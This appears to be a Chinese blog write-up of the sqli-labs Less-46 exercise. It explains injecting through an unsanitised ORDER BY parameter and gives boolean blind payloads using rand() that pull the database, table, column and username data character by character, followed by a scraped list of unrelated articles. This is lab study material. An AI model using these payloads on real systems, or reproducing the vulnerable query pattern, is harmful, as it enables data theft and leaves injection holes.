当前位置:网站首页>SQL注入 Less46(order by后的注入+rand()布尔盲注)
SQL注入 Less46(order by后的注入+rand()布尔盲注)
2022-07-31 02:27:00 【开心星人】
$id=$_GET['sort'];
$sql = "SELECT * FROM users ORDER BY $id";
我们的注入点在 order by 后面的参数中,而 order by不同于的我们在 where 后的注入点,不能使用 union 等进行注入。
测试是否存在注入点
?sort=1 desc?sort=1 asc
desc是 descend 降序意思
asc 是 ascend 升序意思
返回结果不同,说明可以注入。可利用 order by 后的一些参数进行注入
关于下面的这部分与解题无关,直接看布尔盲注的部分即可?sort=right(version(),1)?sort=left(version(),1)
返回结果都是

我觉得可能是字符型的数字,所以又试了一下
不知道是不是会自动进行类型转换啥的
?sort=5
?sort='5'
所以,left(version(),1)返回的应该确实是字符型的数字
布尔盲注
select * from users order by rand();
对users表随机进行排序。
rand()返回的是一个0-1的浮点数,order by 后面跟的是列名或列号。
这里其实可以理解成users表中增加了一个rand字段,字段值是随机产生的。根据该rand字段来对users表进行排序。所以就到达了随机排序的效果
更多原理,看这篇
MySQL-17:order by rand()
select * from users order by rand(1);select * from users order by rand(0);
?sort=rand(1)
?sort=rand(0)
?sot=rand(1=1)
?sort=rand(length(database())=8)
?sort=rand(ascii(substr(database(),1,1))=115)
?sort=rand(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101)
?sort=rand(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i')
?sort=rand(ascii(substr((select username from users limit 0,1), 1,1))=68)
当然这一题可以用时间盲注和报错注入来写的,Less47会用报错注入来写
https://blog.csdn.net/Kevinhanser/article/details/81563461
https://blog.csdn.net/weixin_43901998/article/details/107577630
边栏推荐
- The Sad History of Image Processing Technology
- print task sorting js od huawei
- General introduction to the Unity interface
- LeetCode 1161 最大层内元素和[BFS 二叉树] HERODING的LeetCode之路
- 系统需求多变如何设计
- mysql view
- Unity界面总体介绍
- 汉源高科8路HDMI综合多业务高清视频光端机8路HDMI视频+8路双向音频+8路485数据+8路E1+32路电话+4路千兆物理隔离网络
- Software Testing Defect Reporting - Definition, Composition, Defect Lifecycle, Defect Tracking Post-Production Process, Defect Tracking Process, Purpose of Defect Tracking, Defect Management Tools
- AtCoder Beginner Contest 261 部分题解
猜你喜欢
![[Map and Set] LeetCode & Niu Ke exercise](/img/66/d812a6ad854cb0993c796760042150.png)
[Map and Set] LeetCode & Niu Ke exercise

What have I experienced to become a tester who is harder than development?

1. Non-type template parameters 2. Specialization of templates 3. Explanation of inheritance

Manchester City confuses fans with smart scarf that detects emotions

MPPT太阳能充放电控制器数据采集-通过网关采集电池电压容量电量SOC,wifi传输

Detailed explanation of STP election (step + case)

The effective square of the test (one question of the day 7/29)

Tower of Hanoi problem

mysql view

Layer 2 broadcast storm (cause + judgment + solution)
随机推荐
What does a software test report contain?
Nacos
Arbitrum 专访 | L2 Summer, 脱颖而出的 Arbitrum 为开发者带来了什么?
f.grid_sample
Between two orderly array of additive and Topk problem
Maximum monthly salary of 20K?The average salary is nearly 10,000... What is the experience of working in a Huawei subsidiary?
[1154]如何将字符串转换为datetime
ShardingJDBC基本介绍
Fiddler captures packets to simulate weak network environment testing
CV-Model [3]: MobileNet v2
LeetCode Daily Question 2022/7/25-2022/7/31
tcp框架需要解决的问题
Manchester City confuses fans with smart scarf that detects emotions
Classic linked list OJ strong training problem - fast and slow double pointer efficient solution
Path and the largest
coldfusion8 background scheduled tasks take shell
Introduction and use of Drools WorkBench
Drools WorkBench的简介与使用
Crypto Life, a day in the life of a Web3 project partner
怎样做好一个创业公司CTO?